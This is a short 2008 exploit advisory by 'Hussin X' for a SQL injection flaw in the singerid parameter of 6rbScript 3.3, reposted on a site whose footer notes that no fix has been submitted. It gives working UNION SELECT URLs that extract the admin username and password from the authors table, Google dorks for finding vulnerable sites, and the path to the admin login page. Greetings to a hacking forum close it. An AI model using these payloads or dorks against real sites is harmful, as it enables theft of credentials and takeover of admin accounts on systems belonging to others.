6rbScript 3.3 (singerid) Remote SQL Injection Vulnerability
2008-09-21 04:01:05|___________________________________________________|
|
| 6rbScript V3.3 (singerid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
| Author: Hussin X
|
| Home : WwW.IQ-ty.CoM | WwW.TrYaG.CC
|
| email: darkangel_g85[at]Yahoo[DoT]com
|
|
|
|___________________________________________________
| |
|
| script : www.6rbscript.com
|
| DorK : inurl:"section.php?name=singers"
| dorK : Powered By 6rbScript V3.3
|___________________________________________________|
Exploit:
________
user name
_______
www.[target].com/[PATS]/section.php?name=singers&f=songs&singerid=-1+union+select+1,aid,3,4,5,6+from+7addad_authors--
password
_______
http://localhost/Script/section.php?name=singers&f=songs&singerid=-1+union+select+1,pwd,3,4,5,6+from+7addad_authors--
Admin LogIn :
www.[target].com/cpanel.php
____________________________( Greetz )_________________________________
|
| All members of the Forum WwW.IQ-ty.CoM | WwW.TrYaG.CC |
|
| My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
| Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone
|______________________________________________________________________
Im IRAQi
#
Fixes
No fixesPer poter inviare un fix è necessario essere utenti registrati.